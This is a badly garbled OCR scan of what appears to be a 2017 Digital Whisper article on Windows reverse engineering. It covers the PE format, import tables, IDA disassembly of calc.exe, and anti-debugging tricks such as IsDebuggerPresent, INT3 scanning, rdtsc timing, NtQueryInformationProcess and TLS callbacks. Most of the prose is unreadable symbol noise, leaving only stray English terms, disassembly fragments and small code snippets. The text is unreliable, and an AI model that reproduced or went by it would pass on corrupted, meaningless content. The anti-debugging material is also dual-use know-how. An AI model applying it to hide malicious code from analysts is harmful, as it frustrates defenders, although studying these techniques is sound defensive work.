ring 3* ¥ing0-*  « x' s x v s 4 X (Widdows* « 1 | S x
Device drivers

T Px oo s sx Xy 4 | Kernel-Mode s+sY '+ Ring'0sx s,
Peaxs L] A ese o x I exs s X T DXy x|
S L s's J L -Keineld . _ . <0 ¥ ¥ Iw®s X X CPUx . | ¢*
cx o  Kernetsx 1A 1. 00X pdAdTAs AT v A0 TS L 1« 1vx s
L 1s
X v Tox o, 10y i_4 7~  x<* ¥y x |4 UsertMotle®* Ringg3* s _ . *
R T I T T I A N B R A A A 2 S B R B IR
Polox s L s s I P D T T S I

1~ DX v q L. X <

+ Bystem CallSystem Cal)ls 1 ~ . . - 4~ 4 . Kerfel Mode. User Mode, ~ *  _ s

L X s x o qdKerne ! W x s oyox b . s ss Sl e, 4,
S € o~ X User-Moded 41 1 x « . Cxq 7 ] x foxo]ox _h 14 s " X
L « L. Lx b gystem Call x L § L X)X A4 x D s T o x o X s

(71 _s 474 .7 xxBx ] scts
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x | " Debuggerss

| X « PE 4 & « |

. oA A x T ps o xex L x s x exe BT K x e o AN s
Lo x Txo .S X . Y s O« PE_xx X{{ X Pdrtable-EXegbitdble 1 _ .~ x s
x 1?4 x x Lo X v . ¥ S X S ., ss * Windows 3.1 F « 4 ) PR BN PR
rd1 . _EXE, s ox Uoxd Fo T N | Floxoos 1.~ 0 !
s 4 L Dynamiic-Link WbrapDLL 4 « X« ¢ _ _ 1 x _ | N 1
cxJd X CEXE DL ST AT 44 T 4s o xss s S (N B
.File Headef | Chafacteristics s ! _* ' 1+« 14> x4 -«
cx Xx o ]ls X1 . 04 X WiindowS PH.oaders Lo, | X -~ L td 1 s, 14 s ¢
cd T I x D EntryxPoip, s 4 X XL X , X o x 17 x S
Relocation ~ x . 1 4¢ = x>*Xx o | " x< 41 x ] s ss 4" L kAL
I x X
PE B X x [T B B
L . Lt 1 1 _ Anti Revelse Engirfeeringdl » X « 1 1 X PE __ XXX q sp (sx” X s
L L T T B R S B B S by 4y s ¢4
x”'|"‘_~ X . ”oX Lo xv~ X , X ¢ X '|V Pl v A X s
LR I L 1 I
" ) e .l - X
DOS MZ heads ds sy s s 1 -DOS Headéef{ L. WPESL T X L
DOS stub Xos St WX (57 171 s7 PDOSK 4~ 1~ |
: " . . |
IR —— This program cannot be run in DOS mode” 1 *Stridgs 1 S L
"MZ" o 4 X x s 1D0S Headed (1) _ . _ x 1 7 { xx 1 1.1 ' X
Section table J v 4 _DOSHS X (415 s 1. . Xx L q{xcs .
X1~ 1 rMagic‘Number
Section 1
Py 7,1 x e v o rd AT x %L PEHSadet X 3 L 41 ¢
_ 1”7 L PEHeaddrs , s . .44 x| X xos ol
Section 2
L L 1 X +Optiorial Heade&ss _ ) x s P s 47X -Header_ 1s _ | F
T T T B B FAd w4 s 47 x
(16& x«3204%> 417" xx ., L4 *) s.X
Ao A7 A s s s 1
Section n _ _
hageBase ~ , 14 | *xX«s s { o« qx. 44X
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1041+ -Seetidn*+xs_*Relatiyeé Virtual AddresRVA - x {4 14 s - x X x 1 |s
1.1 041 EntryPointd ~ ; « X3 lmainsd ¢ Ax " x o ff 0 D Xx I ]s

SectionTable _ **x «s ¢ 47 s 40 1s s’
co L o xe bxo ox )y v dx oy x 1 { SeCtignl x ~ _ x X
o1y CX e T X e ) o xoq 1 Sectioar L X T 4s T xos x4 0T L

s+ 14~ -SéctioRs +:4_ 1 _ -~ sTs . xA{

J¢x Ix o *x ReadExecutd ¥ _ ~ B " ¥ S x| * . L] . k¥ext. 47 )]s
] ,_Zv X X . 1 esLx s ¢ s
oovd . s k4 Ay sECs L, x Oy 04" 0s o datdac X1

X ix e s s s e el s CHRARGT L e A0S s LS x G 7 DX 00

A v 4-8ting ~ ~ L F 0 T4 47 T x . te ) s -Yrdata © s L x €0 X
4y XX 4 4s 1. x{ 17 1Stringliterald C | K« XS 1S4 4. X.Eve XJ X,

1”71 s Ts oL X A BLLE x X K ™ PFIx Txx L] R

170 0 A x4 xS X x4 L 4.4 s Tkssid4s L1
A T | «oxx ] x by X 6. 1 S L b X
Iox  x

1 Resdources! x . ¢ k47 x v A dd4. 0 0 U A -raed T X {4

LS. x X x s Tx b xoo s, x . XResolrce Hackerl s ¢« Y
L 1s o rx ox X Dx xexe Doy x4 40 s 4 Sectfort eloé x| x L
1.1 x o X% X L | X s X L s . ., SSs X X o e " X |
{7 L Lox 47 s , S yxll_) X X DX o Xox 0] x4 4 x X X (s

1 x s st s xx | \WihdbWsLloadeF S S i« . FxTx 145 4ds A -«
fx X xio ] sT o1 Reldcttions x 1oL < T L, [ v XS - 1

~ ~

.Relocation + _ * _x1 4 vy s¢ 4 s:

LS Pl s b xyxx o ox oxoo JSectigny Lok ¥ X )T o Ix X

~ ~ ~

Header* x ., 1 ¥y x's
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XL O I P P oS (7 x0c R ,Loo_L) v ds L] 47X
x4 o T x  Windows ARl | S s 6 X SeX oA s A 104 L DX
XS X H 4« DELS.Kérrel32.dll wuser32.dIf x ¥ | DU 4 1 x o >x . x X
X | « S Zx-|\“"x>sv P R ~V:~S|- S uXx M I L] X S
Export Table + _PEs X x <X I ] x 4 Px G X s X T DX o Xx s DX

L X L v s cx o xS Lo Cox 14 s DX oXox
L . Slmport-Table r _ * I 1 x4 . xC o> DL X ] s x 0 «xq” ] |
I R 21 FoLo, L Lo X 4 17 X XOLksSs A T s :
,_,,“"522,2<x¢s‘vx~,,~ XX 1L S v i .« ZA\XVN S« , XS v.|”J
DX TX 1 X {s 4 o Ll 4.0l x ¢ 1A Import-AddressxTable t Is s .
Dynamic Linking~ ~» « 7 s 1 4. s > 7] PDLESL s, p A OXTIX, [0 T 4G

x X x D] sDLL 4 F e x Doop 4440 s XX s L _ Loaders. ] ¢ s 1~
L7 O R T R R TR - S
De D JREView. T e Y J()  SPEX" XS ox X T Ixis i 4.y

. . ” . = .
s <1, sLx : Y x| ilmport Tables - x 4 « ~ I x . s x| A
~ v ~ v ~ v v ~ ~ >
Lo X s L x 1A
Fle View Go Hep
dlocoemux@E@= =
= Win32Project1 exe VA Data Description Value -
IMAGE_DOS_HEADER 0040717C 00008232 Hint/Name RVA 00AD DestroyWindow
- MS-DOS Stub Program 00407180 00008242  Hint/Mame RVA 000E BeginPaint
IMAGE_NT_HEADERS 00407184 00008250  Hint/Mame RVA 00EA EndPaint
- Signature 00407188 0000825C  Hint/Name RVA 00A1 DefWindowProcW
IMAGE_FILE_HEADER 0040718C 0000826E  Hint/Mame RVA 0309 SetWindowLongW
IMAGE_OPTIONAL HEADER 00407190 00008280  Hint/Name RVA 02D1 SetFocus
-~ IMAGE_SECTION_HEADER text 00407194 0000828C  Hint/Name RVA 017A GetParent
IMAGE_SECTION_HEADER rdata 00407198 00008298  Hint/Mame RVA 0289 SendMessageWW
IMAGE_SECTION HEADER data 0040719C 000082A8 Hint/Name RVA 001E CallWindowProcWW
- IMAGE_SECTION_HEADER tls 004071A0 000082BA  Hint/Name RVA 030B SetWindowPos
IMAGE_SECTION_HEADER rsrc 004071A4 0000831A  Hint/Name RVA 02FD SetTimer
- IMAGE_SECTION_HEADER .reloc 004071A8 00008326  Hint/Name RVA 013C GetDIgCtrliD
SECTION text 004071AC 000082CA  Hint/Name RVA 0222 LoadlconW
SECTION rdata 00407180 000082D6  Hint/Name RVA 0126 GetClientRect
- IMPORT Address Table 00407184 000082E6  Hint/Name RVA 00E5 EnableWWindow
IMAGE_DEBUG_DIRECTORY 00407188 000082F6  Hint/Name RVA 00B3 DialogBoxParamiV
-~ IMAGE_LOAD_CONFIG_DIRECTORY 004071BC 0000839E  Hint/Name RVA 00B6 DispatchMessage\W
IMAGE_TLS_DIRECTORY 004071C0 00008384  Hint/Mame RVA 033B TranslateMessage
IMAGE_DEBUG_TYPE_CODEVIEW 004071C4 00008214  Hint/Name RVA 031C ShowWindow
-~ IMAGE_DEBUG_TYPE_ 004071Cs 00008202  Hint/Name RVA 0071 CreateWindowExW
IMPORT Directory Table 004071CC 000081EE  Hint/Name RVA 0286 RegisterClassExW
IMPORT Mame Table 00407100 000081DA  Hint/Name RVA 01AT GetSysColorBrush
IMPORT Hints/Names & DLL Names 004071D4 000081CC  Hint/Name RVA 0220 LoadCursorW/
SECTION data 00407108 000081BC  Hint/Name RVA 01CA GetWindowRect
- SECTION tls 004071DC 000081AA  Hint/Name RVA 01C4 GetWindowLongWV'
SECTION rsrc 004071E0 0000819C  Hint/Name RVA 010A FindWindowWWV i
SECTION reloc 004071E4 00008372  Hint/Name RVA 0339 TranslateAcceleratortV
004071E8 00008364  Hint/Mame RVA 0173 GetMessage\W
004071EC 00008350  Hint/Mame RVA 021A LoadAcceleratorsW
004071F0 00008342  Hint/Name RVA 022F LoadStringW L
004071F4 00008336  Hint/Name RVA 00ES EndDialog 3
004071F8 00008308  Hint/Name RVA 026E PostQuitMessage
004071FC 00000000 End of Imports USER32.dll
00407200 00008426  Hint/Mame RVA 0009 PlaySoundW
00407204 00000000 End of Imports WINKM dIl L
Viewing IMPORT Address Table
[SetTimes PlaySound\W 17 s X v Lo o e s oy x X
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LoadLibrary s 1 « « " x s« { . Dynamicloading s - {1*-DLL 7s*“* 1. +Y =1 47"
GetProcAddress. © _ 1 x s { .. 'GetProcAddress _ =~ | X~ A1 L x s4{. s
_|xv 1L .o SXICX Ik &S, X{ ¥ " x x | , s s {4 . <" X . S Lo R

14 . < ] « Cxd L Tx o qf X

stack ' ~

-------------- «xs oy kerned32.dll vv 14 s i L] Hohders 1X v YT TH X LT 4

y Sl L x4 4 *kernel32dll « "kviport Tabfe-* s T d x x |« L

- X v kernel32.dW - x4+ « 7 ReadlFile xGredteThread x _ | s, s
A
| Kernel Modee s « |« _ 1 v 4 otlkd i s D xd 0T X
--------------------- sygenter , ¢ ! 1 x { _ S+ , XS DX
heap
1. 1 L 1s R X xoos L . Isoaders s 1 » 3}~ 1L Cox T
uninitialized data b 1 S L Hedpy ‘Stacks MR 1 <L )
aee 1 . s X ] 1. * s« ., 1.x 11 140 s L T X
initialized data ~ ~ " v > ~
data LY L
text x | "UberMaotle Debuggers v
JAust L Aurex] e XS, o ] X DX 1~ s 0 v Y Disdsgemhly X 44 1oy
[.x, 11 -
T 0 ox o bxos ] 4 X« ., Debugger 44 . M, "o
Fde xS 0 T I x Sx o x o x o, w1, s I xpebuggers X s L 4 « s
.svxIJx =x ., ] ¢x
Attach) X L1411 s a v Xs 1~ 1«1 ¥4w 1+ Debdggers k 1 L F
A Fdx I B o1 L ARESX s XXXy o DuxXe s

©x .« _ - Debugges . i~ | {Hxceptiorxd S Hx x| x . DLH "I AT ved 1]

s ox by psx T 1 x4 x., 4+ Déuggers! 1 r 47 X% o TIXHY
Yoo ps o x o, o« o Uox | iDeblgger - X xMessagési X X T % Y o
CF qd Yy X LS X 1X 4 ] {4 L s . s
17 0 4 o aax Dk e is s 4. T ¢ X Bxeeption, 41X | .«
IXA s 11 A Lo :x,,‘x”~ DXy 4 . LS s X Cxy q . .S
s " ] ox Cx ¥y A L _Zv-|-|“ L XX D] L s 1y X < , Lo UL ,
C/C++# s~1:|quW_~ s S C) ssL”ALxsZss CX]en . i1 A Lo = x x 1 = X
Exceptiors 4 Y x {47 X | 1 _ _ SHRE Structured ExceptionHantling{ « s _ « x s (

- 1-SHE - ¥ 1~ 1 oo Ll X S« ., .S L * Debuggérs. _ I xs Xy b s 4

~

S v | S S I X o ,,.|><As|_ ¢ « X X ‘AX s X L>-||_ LoX ] . Y« X ]| s

~
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1x L 1 | 1 Debuggers, . ~xx*x {4l { Intérrupts* Exception . .~ _ x " s
* o . 0 x| Breakpoints s 4 v X x s s X l-.1s «4s sxx 7T 4]s s

~ ~ ~

Lxs X s x4 1_x s _{-.Debugges - , Bledkpoint . " 4 1. X1 x|

. 1 xS ¢ 4. Y DEbldger. S:1"fix "sx o " [ s . LINR3, b . X

e . X, oL s 14, S+ , XSS 1 S I X . Fd . T X X "
"Iy LY X4 ls Ly ox g D1 s IX G INT3 4T cF e L 8T Ixlx,
(sl r L e xs s 40 L X0 o x s ] vl v ) DX

] A S T S 1T 0 rd ST x g4 ox 7 11s v 40 1
L X x = s .. X X 1L X X ] X . I x X X q 1~ X X
- v XS A R I by ” X 17 11 L . vl xd s , TAls X s
Plhox PS4 b Xox s

1 X Reversing s ¥y x|

"I xReversing d Hu ST 44X T 4. Ixe.i 4 1:ise oL lx”
GRS B, S L XD ] L T X TR T % fs o TS X XT 4 X s s Ty
O o T T P R S S B Fdl s

v o~ > v~

© X+ . X « 1The Interattives Disassemd)dDA -~ ¢ * _ « , tdlcexe  x 1 [ 17

Lo Ao xdAxes 1 x i 4Ys o ox o wxs 4 x DA LA ]
. .|~xv.|~ « XS xS Lo Zx"x~s Zx.|x>Aszs -|>|_
Py DX fked o A7 X x4 (Ts Ly sod.os
FoA x| s X s I x )

T st Xx s 0 x| A4 _4Sting - ¥eed ~ XX17 40 IDAX,  s.s.Sx
JA T ls thx o 0w 1 oL PGStingdl Nul TermihatoP | A AT X £ s Jk s
k.o A s ws Al 0418 s (WinMaiCRTStargygp € s s o
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L, X Lo X . x
sl x " s LTox X
s 4 . , WL ST & v q

aTechnologi

s Lyl P R I T N X
44~ 1 WinMain 1ss4

LXAI™ bs o

T Mains o 4
| ] sLinkers .

”
NS X
~

F

" 1 WihMainGRTStaftup « 1 s

w

w o o- . . . . ”
Pl Pl Tl X F , $ _ CxXRuntime.LibrajyCl « _ - X 44 . ! 1. %L
~ ~ ~ ~ ~ ~ o~ A
H ” . - ” .
mains 1 L X, X 0T X L S v v X o8
> ~ > ~
Fle EOt Jump Search Vew Debugger Options \ndows Hel
S e YA B 3 o DO R X P DO caiwsdeiue o] % [F @
I VT O O O S 1 O N || | [ I |
Lbwary fanction 1 Dats [ Aegulr cton 1 Unexplred B Instruction . Externs synbol
(7] Functons indon oex|[@ [ Schres I & npors [& couts
Functon name Segmer -
WhMan(xx,xx) tea L o
CContamer::HandieGiobaTabbng(tagMSG *) text mu  ebp, esp
CContamer:HandleToobetMessage(taghsG *) text sub  esp, 0D58h
CEdtBoxInput:HandleWinMainMessage(tagMsG *)  .text nou eax, __security_cookie
__securty_check_cookie(x) xor eax, ebp
1| _EM_prolog3_GS_0 mov [ebpevar W], eax
9] ~ B probg3os mou  eax, [ebpeninstance]
7] WndProc(HWND__ *,uht,uit,long) ::";: ::”‘
7] _EM_eplog3_GS push edi
L] _EH_eplogd mov  edi, ds:_inp_GetHoduleNandleWdy ; GetHoduleNandleV(x)
7] CContaner:BackgroundWndProc(MWND__ *,unt [ebpsvar_CoN], eax
7] DigProc{HWND__ *,umt,uit,long) mov eax, [ebpsipCmdl ine]
7] operator deleta(vod *) push 2000 i cchBufferax
] B4 _prolog3_0 mou [ebpesSrcBuF],
] —B1.probg3 le  eax. [eopbucter]
] et , i push x 1pbuffer
ULongLongToULong{unsgned _inté, uong *) xor  esi, esi
7] _mes push  0D9R 3 uip
Zcreaterat(void) inc  esi
_destroyrat{_rat *) push  ebx ; 1pModuleNane
Zdestroynum_number *) mou  [ebpehiienu], ebx
Zcreatenum(uiong) Bou  [ebpephkResiLt], ebx
7] uLongAde(ulong,uking,ulong *) ot {eh> w0081, esl
7] CCakHeber::Instance{void) mov
£ ATL:CAtMap <int, ATL::CString T<ushort, ATL:Str mov
7] ATL:CAtMap <ATL:CStINg T <ushort, ATL::StrTral call x) i GetModuleHandleW(x)
7] ATL::CAHiAay <ATL::CAtRagEXD < ATL::CACRECha push nins
7] _for call inp_ LoadStringW@16 ; LoadStringW(x,x,x,x)
operator new(unt) test
iz g
et mov  ecx, 7calcSQHAAIPAVCCalculatorSQMABA ; Tine
—EH_probg3_catd call  7onAppEntry@CCalculatorSQEBAEXXZ © CCalculatorSOM: :onAppEntry(uoia)
ChedWindowChie(HWHO__ *,ushort *) push  offset _Microsoft_Windows_CalculatorHandle
7] CTimedCalc::WatchDog Thread(vold *) push  offset _Microsoft_Windows Calculator_Context
7] stduvector<unt,std::alocator <uit> >t:sze(void) push offset _McGenControlCallbackV2@86 ; HelenControlCallbackl2(x o, %, %, %, %,%,%,%)
7] CedtBoxinput: HandeDigProcMessage(unt.unt, o push  offset Microsoft_Windows Calculator
7] CCakulatorMode::HandleBackgroundForChidWind. call _McGenEventRegister@16 ; HcGentventhegister(x,x,x,x)
y > cnp duord_EBS21C, ebx
_g E‘r‘?ﬁ;ﬁfrz(gﬂﬂ Ushort ATL::Str Tral. Jur  AeciERIRAS
CCakHebar::GetDisplayBackground(vod) ! loc_E616E1: 3 CODE XREF: WinMain(x,x,x,x)+25F704]
7] ATL:CAtiATray <vold ", ATL::CElment Tratts<void H © VinMain(x,x,x,%)+25F9C1] ..
ATL::CAtIArmay <vod *,ATL::CElement Traits<void push ebx H HoduleNane
qnnmovir{b'\a) call  edi ; GettoduleNandleW(x) ; GetHoduleHandleW(x)
£ ratpowlong(_rat * *,long) > push eax 3 hinstance
< = » wat 26 b Hex View-1) -
Lne 1 of 2079 ‘ i =
x » x H
[IDA s« . "7_, ¥ cdldexer *Main-s ]
. ” . ” ”
boxoo 11 X . cxdq sl 1 S 4 JRLLRT X 0 « "XX"IDALARTY ) X 14 «
N ~ v =y ~ ~ >/ ~ ~
. X x = X
e L ¢ ¢ .S, L X 14 s 4 s ¢ S .~ S ] x 1L s L X ]
N ~ ~ v
» ” . = ” .
e Xl ko x . X T 0 XL Xy 14 s 4 4.
~ A v ~
. ” g . x .
Y X ~ RegisterClassexs 1 « « 7 X « .~ WinMain « _s | x « s 1 _ 1 NN
= x = . » x
X S L « .~ S ~ ¥ S X L S < L F
~ ~ ~ ~ > Pt
x . ” - ’ X
WNDCLASS -~ 1 _ ~ 1,1~ X< X S T P, Class f W T LY XX K X
> ~ N v -
H ” . . . .
-S s IRegisterClassbx s « 4 » « s 1 7% v Xaes, o oscl s 0 s 4. B
. ” . . . » - ox .
L X Txo s Coxo P WndProes s x i w7 XS 4 L , - YlpfnWddProc: x {1 s | -
~ ~ a ~ > ~
= . -
x X 1 s s L i ] .o X {4 % 1 X | I X s € X . {1 *
~ ~ ~ A~ ~ ~ ~ N ~ ~
. ” .
.o O s s H .« X S s | DXL oX s X x L
~ ~ v A > N

Windows * 1 ’Anti’Reverse Engineering

6 3

www.DigitalWhisper.co.il

2017 -~ * _&BX T x { L ¥



Technologic

X x o] X . " lx s L L
.text:8BEG1EED nov BCX, fehpﬂflsg] )
-text:00EG1EFO nov edx, [ebp+h¥nd] F . X . X, ] XX X v o, oL
.text:00EG1EF3 nov ebx, [ebp+lParam] ~ " i
.text:BBEG1EF6 —» mov esi, [ebp+wParam] ”
.text:00EG1EF9 nov [ebp+hindHewluner], edx P x _Msgst | %% o4 L. S XX
-text:BBEG1EFF nov [ebp+var_L18], ebx
-text:B80E61FO5 cnp ecx, 1Ah L e S I x s s . X s oA 1
_text:88E61FO8 jbe loc_E6217A Al " ~o
.text:808E61FBE nov eax, ecx »
-text:00E61F10 nov edi, 111h OXlll XWM_COMMAND ” X > J ° T ~ J
-text:080E61F15 sub eax, edi
.text:00E61F17 —» jz loc_E66389 1 <11l1lbL s « {1 Xs i L {1 .1 « S
.text:80E61F1D sub eax, 6 ~ v
_text:BBE61F20 jz loc_E6GEB39 . y -
.text :BBE61F26 sub eax, 21h esi ~ Y X+« X  |og_EEG6384 X TLX o
.text:8BE61F29 jz loc_E62547
-text:8BE61F2F sub eax, 194h i = .
_text:88E61F34 jz loc_ES714E ID-s ! LWPaYaIHE » 1 PRGN L1 .
-text:80E61F3nA sub eax, 134h
_text:88E61F3F jz sub_E6E9EF
Svus A4 Tx 10" .
[(WndProg Window Procedure o _ x "x Js .08 >
s 14L1_ loa E6638F 1 x . s
X Lo,ooShIse,” Jrld A v L B SiY ¥ X s o d (LT
- Breakpoint + 1 _ L 1x o X s X .S 1x7 L s ¢ .
. X v oLl x X Lx 17 1:1s s ]4. |oe E663B9
171 s 0 s I s sidwx] T Fxios
X v, L lx” R I T P ISingleStepx ” « ¥ X x . v 4 4.
1x 1> x 'GétClipbpardData OpenClipboard + ¥+ 1 x & [ x I 7 {xx | X 4
XS LY sC+V 1 CGlippSards. 4 x 1 x 7 X ls T x s o, (7
X oa {XXIXX « |
IDCWAIT  x « 44«0 %1 _ s = T« 's” s x = xX X s €|
Tlxoy R RO b XX s L) - SetCursor_ = x: 4. 47X (84”4« "x wu
ST oedy s X0 ~ * 1 sSetCursat Swds w4 ™X T 1 LT X
X X . . s " q{ X% X . . q q . S s {4 . W7 X s « {1 s X
44T s s 4y Xx s . T T SR |
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[ R R L SN

Cox 1% ]

X

L X SEidgs X Ls o ox T 4L 1. x DX x S v X «
S . L X | s . I T x ., ]+ s x o L CharlNéxt Y ~ 1
X 4 L ~ sA-|yv « q{ s
\r) s b1 s b HASCH L d e drx sy x4 11 x s x s
« 1 S L " . o boxex 1L x S . X's s 4 . T\h'. L y x | 4|
271"x 1 41 o xIx i X X s X Xs T xx gy
L, Yo o T xR T e X xR 4y s 0 s X 0 s DX o X
« i x1 v LY JL) X )“v.| v|>.||_,, s X X, X « XX S kL 1.1
(= x 1" 100,000,689 xxs_I" 1 _ « 1
U T I R NS IR T I T4, s
s X . q s s S, X xd xs , 4% X4 X oy oL I
bool _ stdcall CCalcHelper::IsValidOperand{unsigned _ int1é a2}
4
return a2 >= @' && a2 <= '9' || a2 >= ‘A" && a2 <= 'F" || a2 >= 'a' && a2 <= "f'
H
x " X1 s = ] x s L X 5 . «ox o
Fd 40 Al P X 4% s Do xs T oL Xx X o x 1°,
L X - L v 4 s ] s X X ¥y < x 4 X« 4" 11s L s ,
ST X x X s 4] Pdox SRR A . eox

e sk g
b A d s =X s 1
[ 44« e imsx 0.
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Anti Reverse Engineering  ~ x *

~

Fdoe,x o sx o x by x> Anti Revérse Engikeerisffgt x_ 7 1rx f o A 1 b
Px AL x4 o x s b DX x s o Il foX o 2w X ] e T
1 X1 sy N STV I - B SN B KOx o xo 88 xdsxy  §[ ]
b N P v X T s r o x 4 Ex g\ D P X X Ry

. s ¢s X7 0% Ix\v CXoox T xL\J-:x,\;-!’1]~-|s=VJ]L CF

1Yy x Revetsing! v7 x4 7 11s L1 T~ o

s oo b 4T T x ox w4« D x 1 sQbfliscationx « - 14 s
S -|Vs [ = X « X I x X X xJv . oL X X 4 X L] x |
1 x S 4 X4y Sus T Xs | s q{s { 4 TR I BN -

vq4s s s sx (D]« s . x « * ) Anti Debugging _ ¢ * © x _
T N T T N A A R B
IR A S B N R IR

Tx Do bxeo o s @s oy x s D x «{ Obfuscatos + RPatker + A( A1~ 1,
s Xs 4"l {s sl xX s . {I"]I s o px _ T( 41 ] x:ix
FA LT ps o s hxx s b v 4 x Packér, e 1 L xd 49
S ox e x 2 0 1. . v~ DPeObfuscatofs<Ud-Packers, -~ 17 |

% Reversing 1", _ s7 1x: L. 44~ smys 0 {y]hs o X x ]
X« o do s oss i XxyY e w7 s ] s e X L.
<X 1 x4y s . e s sy x x4 48 4] s Ix

Reverse ! 00% . . s ”"Y¥. syl 4«44~ 1s | - X s L 1404

.Engineering
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X . X ” X“'I”J-I
IsDebuggerPresent
s 4.7 x X _ _ - _ Anti Debugging _ X T 4 xIx4* oo o<ox ol x , S 1 x
ix s 4" x s kernel32dil 1 s ¢ _ . x L 7 KsBebutigerPresent | .
Chxs oy os Llx Ly X Aq ss¢” ¥ .tlue S+ HIX]T s 111
S UIPA* s iox o 1 T b e 2514 0 L xS x5 T xs x0T

s 1 x i | s X X .S

~ > ~ ~

KernelBase . d11:752338F8 kernelbase_IsDebuggerPresent proc near
KernelBase .d11:752338F8 mov eax, large fs:18h

KernelBase .d11:752338F6 movw eax, [eax+308h]

KernelBase .d11:752338F9 movzx eax, byte ptr [eax+2]
KernelBase .d11:752338FD retn

KernelBase .d11:752338FD kernelbase IsDebuggerPresent endp

PHEB Process Environment Black * 7 x 4 s X 1 x oox Floxo 1. s .
=x ., ] 4 ¢ X {11 x 1 1 . X 6o X Fow X L X« , S L s s A L
s " . 1. X 1X . , b1l x 0 BS awxXgs X0 X Ly X dt o x { e X
FQL s, @7 1. X 1oX o BN T N B f ETR U ol T 1Y X o 4
IsDebuggerPresent: + _ x « 4 1Xx A
L X ¢ I x o
S X . oL i . Y L . X A I x o "] s « 1 s « X S . L X
:C/IC++ - _ Inffne Assembly : ~ ¢ > <« ¢ oIx o, o« x4 4Y 1. q
152 /f TODO: critical checks here
153 Passwordverifier *passwordVerifier = new Passwordverifier();
154 _asm
155 {
156 push eax
157 mov eax, 58h
158 and eax, ebx
159 shr eax, 2
168 pop eax
161 1
162 passwordVerifier->InputParameters(this, password, hInstance, (DWORD)handle);
163 delete passwordvVerifier;
Lo S L 4Y ., s s « 4. L L R S PN S>9,Zx><,8<~ FoAX ¥ X >1L~ '
e ) N XL 1. x < _ s 1., s B A FY oL
( L X ¢ s I x e .S I x < . T I . e 6] s, x (X Fod
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v String + ", < s

o T Lo 1. poS FoX b1~ <Stribg L4 F

L DXy (X D S 1 « 1 LoX I x s E I 1L ” .
~ o~ ~ o~ v o~ ~ v . ~ > ~

x os o WDASx Ll rH A KA 4417 X Xlpcerredt" x"Gorrett” d s Lo ) 1Y S L
. x4 s X, s 14  CrossReferdngep + $ ¥ ¥Stringd 1 ¥ x {x 1 44%s 4.7~

S L
s X X X xv X o x",‘xv = s ~\J X X s ] X x X
Toox s 8N XX o]y Lo i~ 11 Tsx o A4 0 AT L s
=s|_~ 9 X _ s = ] x s s 4 s s X . L 11 ] X ¢ X '|vs
s XOR x _ 1, s dix 11 X {s L osLUx 14 pyY v sy 1 7x 4%
SIxis sygs is it ds 4 vx Ixos oy 1% % T4 L x 1
_\-|s~|_J s-|‘vx-|x\ X « ¥ X 4 DX
Software Breakpoints 4 x s { ¢
101 L.y~ X s 4ind3 LXK X XX o {x o s oy x s s, 4.
~iﬁt3 S« , X Ss's P ~>'||_x s 4 . =v¢>< I x . s . X 0L e
oY X4 DT x " T 'Byte) ST A ™ ] SOKGT XTI SIS 8 x| (
x 7o s 7 I x ios L FalsexPesitivessS ¥ oS L o AXX s L, s x| 4 1L 18X
1,14 T4« 14 . <Xx. oL 4l xS s 4{0XQC L + Hs o a1 T 1

OXCC * x4 s 1~ x « Pl x4 x

~ ~

LA BN B B

N Vi T S TN T N S R NI P S A R
1.1, ~ix4) Pxeo o ouxly & Fq . x™ . Preakpoin® SssLMN s, 1. s
Fe oS lxn x4 a1 41T x s T o Gs Do {1
X Tl X L y I . JIxlIs i x Iy~ 1. s | x
- )GefTickCount = ~» ¢ > 1. s 44, ¢+« x,x s 47 s Dxdq
Pxes O x>0 1 e x X v 4s o« Xkérnel32dR 1 x T 4
F.S A L S . X
Read Time Stamp Counterrdtsc {1 . * _  + s e xs X b s v sy 4 S
T EDXEAX* 1 L« X ss C0 T xox % 4, xC] I 1" x4 s LS
A x b e d s x| oL.8C  p b A T e © D,y
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I x o % X 14 s S I X .o S L

NtQuerylnformationProces

kernels S I . « XS X Tm g xe % Fd ¥y ql
Lo 1" s o e x 1 1 L s “NtQuerylnfomtationProtesa L
1 - - X . PrqocessDebugPort~ _ « | LS s Fd7 447 x e  f s
I s L ¥ oxql ST e s e LT
x 7oy

DWORD debugger_port = -1;
call NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &debugger port, sizeof(DWORD) , NULL);

X I'ltdﬂd"-v B G ‘I N 'I T '¢ -I . . -I S .I X, \L |J . .! X X . 't X |_¢ _F L, % |_| Y :1 J( Ls <
s X - o : ~ S L rlng<3 X: VX IR R (~ . ;5 Lo, S q ” 1 " . Lo : 1 5 1 ” X s .
_I ” L . J + ” = X _I S X X S X ¢ S _I o« noy , ‘I ” ) s L
Pobs 0T e X o 0T e s s A x x| ] I 1dDebuggerPresent, xS

Y X o | L X X ¢ s S 4 v« " Xq UL LSXe]q . = X |% X6 7s | $S{{.5u:" X x X

. Hooking 1 ~ « I

TLS Callback
ts 1 A7 i Threadd & d X~~~ _ _ x| TL$ ThreadiLgcal Stordge " &=+ x s
x4 . <7 XTLS Callbacke- . s~ 41«4~ _  «Thread v © X x LY " | « X Xxx« | 4
447 .. s Thread & _ v 4~ ¥ X o LUPES { XXX ({0 JpxxiX0 xDox x oo
.PE Headef * : ] "EptryPointf { ” ‘X« .~ <" TS . XS x| .S
poXo D XXt L Entry Poite L - _ - _ _ s ¢ Reverse Ergiheeringd 4L 1~
t 411 sMains{ ! 214 <« « 7 x Breakpoint T 1* X7 i1 T
-||_x~ \xs~ sx~'|v ] x s ” ] s - °-|,,s|_ LX L x ¢ s S o
v Lox XS X . oL 1710 s 0
B Lex ox oy Ty X 3L D4y v s ] x o TTRSCallback, o r < 1 9
Mains .= x . () x4, «~s TESChllbaek :x ! xXXs"IDA “ X% I % H L |
IxA « {s x ¢ s . s x ¢ s“-|”J-|s~ Ay,,vx (~V2~vs T« 1 1
X Ts D41 s Y,
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s x s o s X s L x ] v dsx o xPacking - H¥ e« Lk X" s 995«
1 x s s " | x Is Foq o L R S x < S . « ] : s
1. . sworueXdKkd 4141, 1xi 47 Do Cs s x X s 4,8 {7
.Dump XL € v x 17 % . X 1., x . s l x s s X s |

PEs LResources « L 1 I x X x DX . I BT ,oS v T s b Al sl s
oox px Doy xx D x o b1 st SEction L, Ty, sT I X WS T e e L
111 x7" s 14 xsWrieProcgssMemary CreateProcess: -~ ¢ > ) 17 x s 1>
|-'|~VX~V~ S|_\.v |.|\. L L XVJ) ”Jxv Sv_|-|| I-:'IHXY

X ] ] x P | Sx,,LS_::X1,,"X~‘Z|P|_)‘\(V,J:X.,L(7(‘.:X(NA

APl @ x « 4 . « | x X,

calcexe L . S _ Y x I X x4, x ] _sT" P xis IxT"xx ] o o {Xy_ |
